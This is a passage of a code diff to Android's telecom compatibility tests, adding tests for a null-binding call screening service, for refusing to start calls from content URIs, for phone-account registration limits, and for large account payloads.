+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
new file mode 100644
index 0000000..b88643a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserHandle;
+import android.telecom.TelecomManager;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class NullBindingCallScreeningServiceTest extends BaseTelecomTestWithMockServices {
+ private static final int ASYNC_TIMEOUT = 10000;
+ private static final String ROLE_CALL_SCREENING = RoleManager.ROLE_CALL_SCREENING;
+ private static final Uri TEST_OUTGOING_NUMBER = Uri.fromParts("tel", "6505551212", null);
+
+ private RoleManager mRoleManager;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ NullBindingCallScreeningService.enableNullBindingCallScreeningService(mContext);
+ mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ // Ensure NullBindingCallScreeningService pkg holds the call screening role.
+ addRoleHolder(ROLE_CALL_SCREENING,
+ NullBindingCallScreeningService.class.getPackage().getName());
+ NullBindingCallScreeningService.resetBindLatches();
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ // Remove the app from the screening role.
+ removeRoleHolder(ROLE_CALL_SCREENING,
+ NullBindingCallScreeningService.class.getPackage().getName());
+ NullBindingCallScreeningService.disableNullBindingCallScreeningService(mContext);
+ }
+
+ public void testNullBindingOnIncomingCall() throws Exception {
+ Uri testNumber = createRandomTestNumber();
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, testNumber);
+
+ // Verify that binding latch counts are reset for testing
+ assertBindLatchInit();
+ // Add a new incoming call
+ mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+ // Assert unbind after onBind return a null service
+ assertBindLatchCountDown();
+ // Wait until the new incoming call is processed. Needed for proper tear down.
+ waitOnAllHandlers(getInstrumentation());
+ }
+
+ public void testNullBindingOnOutgoingCall() throws Exception {
+ Uri testNumber = createRandomTestNumber();
+ Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
+
+ // Verify that binding latch counts are reset for testing
+ assertBindLatchInit();
+ // Create a new outgoing call.
+ mTelecomManager.placeCall(testNumber, extras);
+ // Assert unbind after onBind return a null service
+ assertBindLatchCountDown();
+ }
+
+ private void assertBindLatchInit() {
+ assertTrue(NullBindingCallScreeningService.sUnbindLatch.getCount() == 1);
+ assertTrue(NullBindingCallScreeningService.sBindLatch.getCount() == 1);
+ }
+
+ private void assertBindLatchCountDown() {
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sBindLatch));
+ assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sUnbindLatch));
+ }
+
+ private void addRoleHolder(String roleName, String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = mContext.getMainExecutor();
+ LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+ runWithShellPermissionIdentity(() -> mRoleManager.addRoleHolderAsUser(roleName,
+ packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+ successful -> {
+ try {
+ queue.put(successful);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }));
+ boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(result);
+ }
+
+ private void removeRoleHolder(String roleName, String packageName)
+ throws Exception {
+ UserHandle user = Process.myUserHandle();
+ Executor executor = mContext.getMainExecutor();
+ LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+ runWithShellPermissionIdentity(() -> mRoleManager.removeRoleHolderAsUser(roleName,
+ packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+ successful -> {
+ try {
+ queue.put(successful);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }));
+ boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ assertTrue(result);
+ }
+}
+
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index d2cdd0c..be8c089 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -19,10 +19,15 @@
import static android.telecom.Call.STATE_SELECT_PHONE_ACCOUNT;
import static android.telephony.TelephonyManager.CALL_STATE_RINGING;
+import android.content.ContentValues;
import android.content.Context;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
import android.media.AudioManager;
import android.net.Uri;
import android.os.Bundle;
+import android.provider.Contacts;
+import android.provider.ContactsContract;
import android.telecom.Call;
import android.telecom.CallAudioState;
import android.telecom.Connection;
@@ -34,6 +39,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Objects;
@@ -49,18 +55,53 @@
private static final String TEST_EMERGENCY_NUMBER = "9998887776655443210";
+ Uri mPersonRecord = null;
+ Uri mPhoneRecord = null;
+ private final static String TEST_PHONE_NUMBER = "+18005552871";
+
@Override
protected void setUp() throws Exception {
super.setUp();
NewOutgoingCallBroadcastReceiver.reset();
if (mShouldTestTelecom) {
- setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+ setupConnectionService(null,
+ FLAG_REGISTER | FLAG_ENABLE | FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME);
+
+ try {
+ // Add a test contact
+ ContentResolver cr = getInstrumentation().getTargetContext().getContentResolver();
+ mPersonRecord = null;
+ mPhoneRecord = null;
+
+ // insert a contact with phone number
+ ContentValues values = new ContentValues();
+ values.put(Contacts.People.NAME, "CTS test contact");
+ mPersonRecord = cr.insert(Contacts.People.CONTENT_URI, values);
+ Uri phoneUri = Uri.withAppendedPath(mPersonRecord,
+ Contacts.People.Phones.CONTENT_DIRECTORY);
+ values.clear();
+ values.put(Contacts.People.Phones.TYPE, Contacts.People.Phones.TYPE_HOME);
+ values.put(Contacts.People.Phones.NUMBER, TEST_PHONE_NUMBER);
+ mPhoneRecord = cr.insert(phoneUri, values);
+
+ } catch (Exception e) {
+ assertTrue("Failed to insert test contact", false);
+ }
}
}
@Override
protected void tearDown() throws Exception {
super.tearDown();
+ ContentResolver resolver = getInstrumentation().getTargetContext().getContentResolver();
+
+ if (mPersonRecord != null) {
+ resolver.delete(mPersonRecord, null, null);
+ }
+ if(mPhoneRecord != null) {
+ resolver.delete(mPhoneRecord, null, null);
+ }
+
TestUtils.clearSystemDialerOverride(getInstrumentation());
TestUtils.removeTestEmergencyNumber(getInstrumentation(), TEST_EMERGENCY_NUMBER);
}
@@ -74,6 +115,20 @@
} */
/**
+ * Verifies that providing content URI instead of tel/sip uri does not start a call
+ *
+ */
+ public void testDoNotStartCallWithContentUri() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ final Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, mPhoneRecord);
+ placeAndVerifyNoCall(extras);
+ verifyNoConnectionForOutgoingCall();
+ }
+
+ /**
* Verifies that providing the EXTRA_START_CALL_WITH_SPEAKERPHONE extra starts the call with
* speakerphone automatically enabled.
*
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
index afc00e7..80905dc 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountRegistrarTest.java
@@ -16,13 +16,19 @@
package android.telecom.cts;
+import static android.telecom.PhoneAccount.CAPABILITY_CALL_PROVIDER;
+import static android.telecom.PhoneAccount.CAPABILITY_SELF_MANAGED;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.net.Uri;
import android.os.IBinder;
+import android.os.RemoteException;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
+import android.telecom.TelecomManager;
import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
import android.telecom.cts.carmodetestappselfmanaged.CtsCarModeInCallServiceControlSelfManaged;
import android.util.Log;
@@ -38,10 +44,40 @@
private static final String TAG = "PhoneAccountRegistrarTest";
private static final long TIMEOUT = 3000L;
+ private static final int LARGE_ACCT_HANDLE_ID_MIN_SIZE = 50000;
+ private static final String RANDOM_CHAR_VALUE = "a";
+ private static final String TEL_PREFIX = "tel:";
+ private static final String TELECOM_CLEANUP_ACCTS_CMD = "telecom cleanup-orphan-phone-accounts";
public static final long SEED = 52L; // random seed chosen
public static final int MAX_PHONE_ACCOUNT_REGISTRATIONS = 10; // mirrors constant in...
// PhoneAccountRegistrar called MAX_PHONE_ACCOUNT_REGISTRATIONS
+ // permissions
+ private static final String READ_PRIVILEGED_PHONE_STATE =
+ "android.permission.READ_PRIVILEGED_PHONE_STATE";
+ private static final String MODIFY_PHONE_STATE_PERMISSION =
+ "android.permission.MODIFY_PHONE_STATE";
+ private static final String REGISTER_SIM_SUBSCRIPTION_PERMISSION =
+ "android.permission.REGISTER_SIM_SUBSCRIPTION";
+
+ // telecom cts test package (default package that registers phoneAccounts)
+ private static final ComponentName TEST_COMPONENT_NAME =
+ new ComponentName(TestUtils.PACKAGE, TestUtils.COMPONENT);
+
+ // secondary test package (extra package that can be set up to register phoneAccounts)
+ private static final String SELF_MANAGED_CAR_PACKAGE =
+ CtsCarModeInCallServiceControlSelfManaged.class.getPackage().getName();
+ private static final ComponentName SELF_MANAGED_CAR_RELATIVE_COMPONENT = ComponentName
+ .createRelative(SELF_MANAGED_CAR_PACKAGE,
+ CtsCarModeInCallServiceControlSelfManaged.class.getName());
+ private static final ComponentName CAR_COMPONENT = new ComponentName(SELF_MANAGED_CAR_PACKAGE,
+ TestUtils.SELF_MANAGED_COMPONENT);
+ private static final String CAR_MODE_CONTROL =
+ "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+ // variables to interface with the second test package
+ TestServiceConnection mControl;
+ ICtsCarModeInCallServiceControl mSecondaryTestPackageControl;
+
@Override
public void setUp() throws Exception {
// Sets up this package as default dialer in super.
@@ -201,11 +237,392 @@
}
}
// unbind from second package
- mContext.unbindService(control);
+ mContext.unbindService(control);
+ }
+
+ /*
+ * Ensure an app does not register accounts over the upper bound limit by disabling them
+ */
+ public void testDisablingAccountsAfterRegStillThrowsException() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // Create MAX_PHONE_ACCOUNT_REGISTRATIONS + 1 via helper function
+ ArrayList<PhoneAccount> accounts = TestUtils.generateRandomPhoneAccounts(SEED,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS + 1, TestUtils.PACKAGE,
+ TestUtils.COMPONENT);
+
+ try {
+ // Try to register more phone accounts than allowed by the upper bound limit
+ for (PhoneAccount pa : accounts) {
+ mTelecomManager.registerPhoneAccount(pa);
+ TestUtils.disablePhoneAccount(getInstrumentation(), pa.getAccountHandle());
+ // verify the account is both registered and disabled
+ verifyAccountIsDisabled(pa);
+ }
+
+ // A successful test should never reach this line of execution.
+ // However, if it does, fail the test by throwing a fail(...)
+ fail("Test failed. The test did not throw an IllegalArgumentException when "
+ + "registering phone accounts over the upper bound: "
+ + "MAX_PHONE_ACCOUNT_REGISTRATIONS");
+ } catch (IllegalArgumentException e) {
+ // Assert the IllegalArgumentException was thrown
+ assertNotNull(e.toString());
+ } finally {
+ // Cleanup accounts registered
+ accounts.stream().forEach(d -> mTelecomManager.unregisterPhoneAccount(
+ d.getAccountHandle()));
+ }
+ }
+
+ /**
+ * Ensure an app does not register accounts that will be auto-disabled upon registered and
+ * bypass the limit. Note: CAPABILITY_CALL_PROVIDER will register the account as disabled.
+ */
+ public void testDisabledAccountsThrowsException() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // Create MAX_PHONE_ACCOUNT_REGISTRATIONS + 1
+ ArrayList<PhoneAccount> accounts = new ArrayList<>();
+ for (int i = 0; i < MAX_PHONE_ACCOUNT_REGISTRATIONS + 1; i++) {
+ accounts.add(new PhoneAccount.Builder(
+ TestUtils.makePhoneAccountHandle(Integer.toString(i)),
+ TestUtils.ACCOUNT_LABEL)
+ .setCapabilities(CAPABILITY_CALL_PROVIDER)
+ .build());
+ }
+
+ try {
+ // Try to register more phone accounts than allowed by the upper bound limit
+ for (PhoneAccount pa : accounts) {
+ mTelecomManager.registerPhoneAccount(pa);
+ // verify the account is both registered and disabled
+ verifyAccountIsDisabled(pa);
+ }
+ // A successful test should never reach this line of execution.
+ // However, if it does, fail the test by throwing a fail(...)
+ fail("Test failed. The test did not throw an IllegalArgumentException when "
+ + "registering phone accounts over the upper bound: "
+ + "MAX_PHONE_ACCOUNT_REGISTRATIONS");
+ } catch (IllegalArgumentException e) {
+ // Assert the IllegalArgumentException was thrown
+ assertNotNull(e.toString());
+ } finally {
+ // Cleanup accounts registered
+ accounts.stream().forEach(d -> mTelecomManager.unregisterPhoneAccount(
+ d.getAccountHandle()));
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager
+ * #getCallCapablePhoneAccounts(boolean)} is called with a heavy payload
+ * that could cause a {@link android.os.TransactionTooLargeException}. Telecom is expected to
+ * handle this by splitting the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeCallCapablePhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_CALL_PROVIDER);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_CALL_PROVIDER);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchCallCapableAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeCallCapablePhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getSelfManagedPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingLargeSelfManagedPhoneAccountHandlePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchSelfManagedPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ Log.i(TAG, "testGettingLargeSelfManagedPhoneAccountHandlePayload:"
+ + " illegal arg exception thrown.");
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link android.telecom.TelecomManager#getAllPhoneAccountHandles()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGettingAllPhoneAccountHandlesWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(), CAPABILITY_SELF_MANAGED);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS, CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ phoneAccountsForPackage1.stream()
+ .forEach(a -> mTelecomManager.registerPhoneAccount(a));
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccountHandles();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
+ }
+
+ /**
+ * Test the scenario where {@link TelecomManager#getAllPhoneAccounts()}
+ * is called with a heavy payload that could cause a {@link
+ * android.os.TransactionTooLargeException}. Telecom is expected to handle this by splitting
+ * the parcels via {@link android.content.pm.ParceledListSlice}.
+ */
+ public void testGetAllPhoneAccountsWithLargePayload() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ // ensure the test starts without any phone accounts registered to the test package
+ cleanupPhoneAccounts();
+
+ // generate a large phoneAccountHandle id string to create a large payload
+ String largeAccountHandleId = generateLargeString(
+ LARGE_ACCT_HANDLE_ID_MIN_SIZE, RANDOM_CHAR_VALUE);
+ assertEquals(LARGE_ACCT_HANDLE_ID_MIN_SIZE, largeAccountHandleId.length());
+
+ // create handles for package 1
+ List<PhoneAccount> phoneAccountsForPackage1 =
+ generatePhoneAccountsForPackage(TEST_COMPONENT_NAME, largeAccountHandleId,
+ numberOfPhoneAccountsCtsPackageCanRegister(),
+ CAPABILITY_CALL_PROVIDER
+ | PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION);
+
+ //create handles for package 2
+ List<PhoneAccount> phoneAccountsForPackage2 =
+ generatePhoneAccountsForPackage(CAR_COMPONENT, largeAccountHandleId,
+ MAX_PHONE_ACCOUNT_REGISTRATIONS,
+ CAPABILITY_SELF_MANAGED);
+ try {
+ // register all accounts for package 1
+ for (PhoneAccount pa : phoneAccountsForPackage1) {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelecomManager,
+ tm -> tm.registerPhoneAccount(pa), REGISTER_SIM_SUBSCRIPTION_PERMISSION);
+ }
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ // register all accounts for package 2
+ bindToSecondTestPackageAndRegisterAccounts(phoneAccountsForPackage2);
+ // verify all can be fetched
+ verifyCanFetchAllPhoneAccounts();
+ } catch (IllegalArgumentException e) {
+ // allow test pass ...
+ } finally {
+ unbindSecondTestPackageAndUnregisterAccounts(phoneAccountsForPackage2);
+ cleanupPhoneAccounts();
+ }
}
// -- The following are helper methods for this testing class. --
+ private String generateLargeString(int size, String repeatStrValue) {
+ StringBuilder sb = new StringBuilder();
+ for (int i = 0; i < size; i++) {
+ sb.append(repeatStrValue);
+ }
+ return sb.toString();
+ }
+
+ private List<PhoneAccount> generatePhoneAccountsForPackage(ComponentName cn, String baseId,
+ int numOfAccountsToRegister, int capabilities) {
+ List<PhoneAccount> accounts = new ArrayList<>();
+
+ for (int i = 0; i < numOfAccountsToRegister; i++) {
+ String id = baseId + i;
+ PhoneAccountHandle pah = new PhoneAccountHandle(cn, id);
+ // create phoneAccount
+ String number = TEL_PREFIX + i;
+ PhoneAccount pa = PhoneAccount.builder(pah, TestUtils.ACCOUNT_LABEL)
+ .setAddress(Uri.parse(number))
+ .setSubscriptionAddress(Uri.parse(number))
+ .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+ .setCapabilities(capabilities)
+ .build();
+ accounts.add(pa);
+ }
+ return accounts;
+ }
+
+ public void bindToSecondTestPackageAndRegisterAccounts(List<PhoneAccount> accounts)
+ throws Exception {
+ bindToSecondTestPackage();
+ registerAccountsToSecondTestPackage(accounts);
+ }
+
+ public void unbindSecondTestPackageAndUnregisterAccounts(List<PhoneAccount> accounts) {
+ try {
+ mContext.unbindService(mControl);
+ unRegisterAccountsForSecondTestPackage(accounts);
+ } catch (Exception e) {
+ Log.d(TAG,
+ "exception thrown while trying to unbind and unregister accts for 2nd package");
+ }
+ }
+
+ public void bindToSecondTestPackage() throws RemoteException {
+ // Set up binding for second package. This is needed in order to bypass a SecurityException
+ // thrown by a second test package registering phone accounts.
+ mControl = setUpControl(CAR_MODE_CONTROL, SELF_MANAGED_CAR_RELATIVE_COMPONENT);
+ mSecondaryTestPackageControl =
+ ICtsCarModeInCallServiceControl.Stub.asInterface(mControl.getService());
+ // reset all package variables etc.
+ if (mSecondaryTestPackageControl != null) {
+ mSecondaryTestPackageControl.reset(); //... done setting up binding
+ }
+ }
+
+ public void registerAccountsToSecondTestPackage(List<PhoneAccount> accounts)
+ throws Exception {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.registerPhoneAccount(p);
+ TestUtils.enablePhoneAccount(getInstrumentation(), p.getAccountHandle());
+ }
+ }
+ }
+
+ public void unRegisterAccountsForSecondTestPackage(List<PhoneAccount> accounts)
+ throws RemoteException {
+ if (mSecondaryTestPackageControl != null) {
+ for (PhoneAccount p : accounts) {
+ mSecondaryTestPackageControl.unregisterPhoneAccount(p.getAccountHandle());
+ }
+ }
+ }
+
+ public void verifyAccountIsDisabled(PhoneAccount account) {
+ PhoneAccount phoneAccount = mTelecomManager.getPhoneAccount(account.getAccountHandle());
+ assertNotNull(phoneAccount);
+ assertFalse(phoneAccount.isEnabled());
+ }
+
+ public void verifyCanFetchCallCapableAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getCallCapablePhoneAccounts(true);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccountHandles() {
+ List<PhoneAccountHandle> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccountHandles(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchAllPhoneAccounts() {
+ List<PhoneAccount> res =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelecomManager, (tm) -> tm.getAllPhoneAccounts(),
+ MODIFY_PHONE_STATE_PERMISSION);
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ public void verifyCanFetchSelfManagedPhoneAccounts() {
+ List<PhoneAccountHandle> res =
+ mTelecomManager.getSelfManagedPhoneAccounts();
+ assertNotNull(res);
+ assertTrue(res.size() > 0);
+ }
+
+ private int numberOfPhoneAccountsCtsPackageCanRegister() {
+ return MAX_PHONE_ACCOUNT_REGISTRATIONS - getNumberOfPhoneAccountsRegisteredToTestPackage();
+ }
+
private TestServiceConnection setUpControl(String action, ComponentName componentName) {
Intent bindIntent = new Intent(action);
bindIntent.setComponent(componentName);
@@ -257,17 +674,23 @@
* getPhoneAccountsForPackage() method.
*/
private void cleanupPhoneAccounts() {
- if (mTelecomManager != null) {
- // Get all handles registered to the testing package
- List<PhoneAccountHandle> handles = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE");
+ try {
+ if (mTelecomManager != null) {
+ // Get all handles registered to the testing package
+ List<PhoneAccountHandle> handles =
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+ (tm) -> tm.getPhoneAccountsForPackage(),
+ READ_PRIVILEGED_PHONE_STATE);
+ // cleanup any extra phone accounts registered to the testing package
+ if (handles.size() > 0 && mTelecomManager != null) {
+ handles.stream().forEach(
+ d -> mTelecomManager.unregisterPhoneAccount(d));
+ }
- // cleanup any extra phone accounts registered to the testing package
- if (handles.size() > 0 && mTelecomManager != null) {
- handles.stream().forEach(
- d -> mTelecomManager.unregisterPhoneAccount(d));
+ TestUtils.executeShellCommand(getInstrumentation(), TELECOM_CLEANUP_ACCTS_CMD);
}
+ } catch (Exception e) {
+ Log.d(TAG, "cleanupPhoneAccounts: hit exception while trying to clean");
}
}
@@ -279,9 +702,9 @@
*/
private int getNumberOfPhoneAccountsRegisteredToTestPackage() {
if (mTelecomManager != null) {
- return ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelecomManager, (tm) -> tm.getPhoneAccountsForPackage(),
- "android.permission.READ_PRIVILEGED_PHONE_STATE").size();
+ return ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+ (tm) -> tm.getPhoneAccountsForPackage(),
+ READ_PRIVILEGED_PHONE_STATE).size();
}
return 0;
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
index 12574e2..226cc80 100644
--- a/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/RemoteConferenceTest.java
@@ -16,7 +16,8 @@
package android.telecom.cts;
-import static android.telecom.cts.TestUtils.*;
+import static android.telecom.cts.TestUtils.InvokeCounter;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
import android.os.Bundle;
import android.os.Handler;
@@ -29,7 +30,6 @@
import android.telecom.RemoteConference;
import android.telecom.RemoteConnection;
import android.telecom.TelecomManager;
-import android.util.Log;
import java.util.ArrayList;
import java.util.List;
@@ -59,6 +59,13 @@
MockConference mConference, mRemoteConference;
RemoteConference mRemoteConferenceObject;
+ @Override
+ public void tearDown() throws Exception {
+ mRemoteConference.destroy();
+ mConference.destroy();
+ super.tearDown();
+ }
+
public void testRemoteConferenceCreate() {
if (!mShouldTestTelecom) {
return;
